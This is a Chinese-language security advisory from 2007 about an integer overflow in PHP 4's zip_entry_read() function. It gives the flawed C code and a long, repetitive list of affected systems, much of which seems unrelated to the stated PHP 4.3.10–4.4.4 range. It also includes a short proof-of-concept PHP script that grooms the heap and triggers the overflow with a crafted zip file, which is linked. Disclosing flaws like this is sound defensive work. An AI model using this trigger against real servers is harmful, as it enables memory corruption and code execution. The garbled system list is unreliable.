PHP是一款广泛使用的WEB开发脚本语言。
PHP zip_read_entry()函数存在整数溢出问题,远程攻击者可利用此漏洞以应用程序权限执行任意指令。
zip_read_entry()函数没有对提供的长度参数进行任何检查,因此当增加一个字节到终止ASCIIZ字符时会在内存分配时出现整数溢出:
buf = emalloc(len + 1);
ret = zzip_read(entry->fp, buf, len);
buf[ret] = 0;
当提供的长度为0xffffffff,分配内存块会变成0字节大小。而之后会从ZIP档中读取4GB数据到内存块,造成覆盖分配的内存数据可能导致任意指令执行。
PHP PHP 4.4.4
PHP PHP 4.4.3
PHP PHP 4.4.2
PHP PHP 4.4.1
PHP PHP 4.4 .0
PHP PHP 4.3.11
PHP PHP 4.3.10
MandrakeSoft Corporate Server 1.0.1
MandrakeSoft Linux Mandrake 8.1 ia64
MandrakeSoft Linux Mandrake 8.1
MandrakeSoft Linux Mandrake 8.0 ppc
MandrakeSoft Linux Mandrake 8.0
MandrakeSoft Linux Mandrake 7.2
MandrakeSoft Linux Mandrake 7.1
RedHat Linux 7.2 ia64
RedHat Linux 7.2 i386
RedHat Linux 7.2
RedHat Linux 7.1 ia64
RedHat Linux 7.1 i386
RedHat Linux 7.1 alpha
RedHat Linux 7.1
RedHat Linux 7.0 i386
RedHat Linux 7.0 alpha
RedHat Linux 7.0
S.u.S.E. Linux 7.3 sparc
S.u.S.E. Linux 7.3 ppc
S.u.S.E. Linux 7.3 i386
S.u.S.E. Linux 7.3
S.u.S.E. Linux 7.2 i386
S.u.S.E. Linux 7.2
Sun Cobalt RaQ 550
Sun LX50
Trustix Secure Linux 1.5
PHP PHP 4.0.5
PHP PHP 4.0.4
Compaq Compaq Secure Web Server PHP 1.0
Conectiva Linux 6.0
Guardian Digital Engarde Secure Linux 1.0.1
S.u.S.E. Linux 7.2
S.u.S.E. Linux 7.1 x86
S.u.S.E. Linux 7.1 sparc
S.u.S.E. Linux 7.1 ppc
S.u.S.E. Linux 7.1 alpha
S.u.S.E. Linux 7.1
S.u.S.E. Linux 7.0 sparc
S.u.S.E. Linux 7.0 ppc
S.u.S.E. Linux 7.0 i386
S.u.S.E. Linux 7.0 alpha
S.u.S.E. Linux 7.0
PHP PHP 4.0.3 pl1
S.u.S.E. Linux 6.4 ppc
S.u.S.E. Linux 6.4 i386
S.u.S.E. Linux 6.4 alpha
S.u.S.E. Linux 6.4
PHP PHP 4.0.3
Debian Linux 2.2 sparc
Debian Linux 2.2 powerpc
Debian Linux 2.2 IA-32
Debian Linux 2.2 arm
Debian Linux 2.2 alpha
Debian Linux 2.2 68k
Debian Linux 2.2
Sun Cobalt Control Station 4100CS
Sun Cobalt Qube3 Japanese 4000WGJ
Sun Cobalt Qube3 Japanese w/ Caching and RAID 4100WGJ
Sun Cobalt Qube3 Japanese w/Caching 4010WGJ
Sun Cobalt RaQ XTR 3500R
Sun Cobalt RaQ XTR Japanese 3500R-ja
PHP PHP 4.0.2
PHP PHP 4.0.1 pl2
PHP PHP 4.0.1 pl1
PHP PHP 4.0.1
Sun Cobalt Qube3 4000WG
Sun Cobalt Qube3 w/ Caching and RAID 4100WG
Sun Cobalt Qube3 w/Caching 4010WG
Sun Cobalt RaQ4 3001R
Sun Cobalt RaQ4 Japanese RAID 3100R-ja
Sun Cobalt RaQ4 RAID 3100R
PHP PHP 4.0 0
PHP PHP 3.0.18
Conectiva Linux 6.0
Conectiva Linux 5.1
Conectiva Linux 5.0
Conectiva Linux graficas
Conectiva Linux ecommerce
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0
Debian Linux 2.2 sparc
Debian Linux 2.2 powerpc
Debian Linux 2.2 IA-32
Debian Linux 2.2 arm
Debian Linux 2.2 alpha
Debian Linux 2.2 68k
Debian Linux 2.2
RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha
RedHat Linux 6.2
Trustix Secure Linux 1.2
Trustix Secure Linux 1.1
PHP PHP 3.0.17
S.u.S.E. Linux 7.1 x86
S.u.S.E. Linux 7.1 sparc
S.u.S.E. Linux 7.1 ppc
S.u.S.E. Linux 7.1 alpha
S.u.S.E. Linux 7.1
S.u.S.E. Linux 7.0 sparc
S.u.S.E. Linux 7.0 ppc
S.u.S.E. Linux 7.0 i386
S.u.S.E. Linux 7.0 alpha
S.u.S.E. Linux 7.0
Trustix Secure Linux 1.2
Trustix Secure Linux 1.1
PHP PHP 3.0.16
PHP PHP 3.0.15
PHP PHP 3.0.14
PHP PHP 3.0.13
PHP PHP 3.0.12
PHP PHP 3.0.11
PHP PHP 3.0.10
PHP PHP 3.0.9
PHP PHP 3.0.8
PHP PHP 3.0.7
Sun 2800 Workgroup NTT/KOBE 2800WGJ-KOBE
PHP PHP 3.0.6
PHP PHP 3.0.5
PHP PHP 3.0.4
PHP PHP 3.0.3
PHP PHP 3.0.2
PHP PHP 3.0.1
PHP PHP 3.0 0
PHP PHP 3.0 .16
S.u.S.E. Linux 6.4 ppc
S.u.S.E. Linux 6.4 i386
S.u.S.E. Linux 6.4 alpha
S.u.S.E. Linux 6.4
PHP PHP 3.0 .13
PHP PHP 3.0 .12
PHP PHP 3.0 .11
PHP PHP 3.0 .10
>> 安全前沿 > 安全公告
PHP Zip_Entry_Read()整数溢出漏洞
发布时间:2007-3-29 10:34:08
文章作者:ADLab
文章来源:启明星辰
BUGTRAQ ID: 23169
CNCAN ID:CNCAN-2007032909
漏洞消息时间:2007-03-26
漏洞起因
边界条件错误
影响系统
PHP PHP 4.4.4
PHP PHP 4.4.3
PHP PHP 4.4.2
PHP PHP 4.4.1
PHP PHP 4.4 .0
PHP PHP 4.3.11
PHP PHP 4.3.10
不受影响系统
PHP PHP 4.4.5
危害
远程攻击者可利用此漏洞以应用程序权限执行任意指令。
攻击所需条件
攻击者必须访问PHP所在系统。
漏洞信息
PHP是一款广泛使用的WEB开发脚本语言。
PHP zip_read_entry()函数存在整数溢出问题,远程攻击者可利用此漏洞以应用程序权限执行任意指令。
zip_read_entry()函数没有对提供的长度参数进行任何检查,因此当增加一个字节到终止ASCIIZ字符时会在内存分配时出现整数溢出:
buf = emalloc(len + 1);
ret = zzip_read(entry->fp, buf, len);
buf[ret] = 0;
当提供的长度为0xffffffff,分配内存块会变成0字节大小。而之后会从ZIP档中读取4GB数据到内存块,造成覆盖分配的内存数据可能导致任意指令执行。
测试方法
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ | | ___ _ _ ___ | | ___ | _ | || || _ \ //
// | __ |/ || '_|/ _
|/ -)| ’ \ / -)/ ` |||| /| __ || / //
// ||||_,||| _,_|_|||||__|_,| || |||||| //
// //
// Proof of concept code from the Hardened-PHP Project //
// © Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4 zip_entry_read() Integer Overflow Vulnerability //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
$r = zip_open("x.zip");
$e = zip_read($r);
$x = zip_entry_open($r, $e);
for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
unset($arr[600]);
zip_entry_read($e, -1);
unset($arr[601]);
?>
参考如下ZIP文件:
<a href=“http://www.php-security.org/MOPB/code/x.zip” target=“_blank”>http://www.php-security.org/MOPB/code/x.zip</a>
厂商解决方案
目前没有详细解决方案提供:
<a href=“http://www.php.net/” target=“_blank”>http://www.php.net/</a>
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _